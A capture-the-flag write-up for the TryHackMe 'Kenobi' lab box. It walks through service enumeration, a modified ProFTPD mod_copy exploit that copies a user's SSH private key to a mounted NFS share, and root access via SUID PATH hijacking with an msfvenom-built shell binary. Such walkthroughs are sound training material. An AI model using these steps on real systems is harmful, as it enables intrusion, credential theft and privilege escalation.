My write-up about the kenobi / tryhachme box.

1. Recon

Nmap scan result :

PORT	STATE SERVICE	REASON	VERSION
21/tcp	open	ftp	syn-ack ttl 63 ProFTPD 1.3.5
22/tcp	open	ssh	syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
111/tcp	open	rpcbind	syn-ack ttl 63 2-4 (RPC #100000)
139/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	
445/tcp	open	netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	
2049/tcp	open	nfs_acl	syn-ack ttl 63 2-3 (RPC #100227)
35099/tcp open	mountd	syn-ack ttl 63 1-3 (RPC #100005)	
44523/tcp open	nlockmgr	syn-ack ttl 63 1-4 (RPC #100021)	
44629/tcp open	mountd	syn-ack ttl 63 1-3 (RPC #100005)	
54641/tcp open	mountd	syn-ack ttl 63 1-3 (RPC #100005)	

21 - FTP

A ProFTPD server in version 1.3.5 is running on port 21, Anonymous access is not authorized.

80 - HTTP

A webserver is running on port 80, but trying to bruteforce directories and files will not return something useful.

139/445 - SMB

A samba server is running, we can use **enum4linux** to discover accessible shares and users.

> enum4linux

Result :

```
 Sharename       Type      Comment
 ---------       ----      -------
print$          Disk      Printer Drivers
anonymous       Disk
IPC$            IPC       IPC Service (kenobi server (Samba, Ubuntu))
```

Users :

S-1-22-1-1000 Unix User\kenobi (Local User)

The script found an anonymous share and a user named kenobi.

NFS

The port 2049 seems to like the presence of an NFS share. We will use **showmount** to enumerate NFS shares on the server

> showmount -e IP

Export list for 10.10.207.147:

/var *

If we mount this NFS share, we could access the /var directory of the server

2. Accessing the SMB share

We can use **smbclient** to connect to a remote samba share.

> smbclient //IP/anonymous

On the share we can download a single file "log.txt", with not very interessting informations.

3. Mouting the NFS share

To mount an NFS share, we will need to use the **mount** utiliy.

> sudo mount IP:/var /your_mount_location

I used the /mnt directory.

Exploring the /var directory let use access the webserver directory, and confirm that there is not something useful on the webserver.

4. Accessing the server

In our reconnaissance we found an FTP server, a ProFTPD running on version 1.3.5. When googling this, we can found exploit of the 'mod_copy' letting the door open to RCE.

> https://www.exploit-db.com/exploits/49908

An unauthentificated user can copy file from a location on the server to another location on the server. Trying to run alone the previous found script, will throw errors because the ftp user can't write in the webserver directory. But remembering that we had mount the /var directory of the file server, we can use the script to copy file to the /var/tmp directory annd access it using our mounted share.

We know that there is a user named **kenobi**, let's copy his ssh keys.

We need to modify a bit the exploit by replacing lines 22 to 25 with :

```
 client.send(b'site cpfr /home/kenobi/.ssh/id_rsa\r\n')
print(client.recv(1024).decode())
client.send(b'site cpto /var/tmp/id_rsa\r\n')
print(client.recv(1024).decode())
```

This will copy the id_rsa of kenobi in a folder we can access.

We can now connect to the server using :

> ssh kenobi@IP -i id_rsa

5. Getting root

There is no crontab, access to sudo -l, but we can find if there are abnormal SUID files.

> find / -perm -u=s 2>/dev/null

I will only show abnormal/unusual files :

interesting SUID files
/usr/bin/menu

When launching this "menu", the program prompt us three choices : 1. status check 2. kernel version 3. ifconfig

Using **strings** utility, we can find that the menu program make call to : curl uname ifconfig

There is a vulnerability here, the program make a call to a relative path, and not an absolute path like /sbin/ifconfig Since the relative path will look for a file using our PATH variable, and since we control the PATH We can craft a custom ifconfig binary, modify our path to make the /usr/bin/menu use our binary with root permission.

I will use msfvenom to craft our custom binary : msfvenom -p linux/x64/exec CMD="/bin/bash -p" -f elf > ifconfig

the "-p" is important, because if not used, root permissions will no be conserved.

We now have our custom binary that spawn a shell, we will use a python server to transfer our binary on the target server.

After this, we will make the binary exectuable:

> chmod +x ifconfig

and modify our path. Let's say that our binary is in /home/kenobi We will change our path using :

> export PATH=/home/kenobi:$PATH

After this, launching the /usr/bin/menu and making option 3 will spawn us a root shell.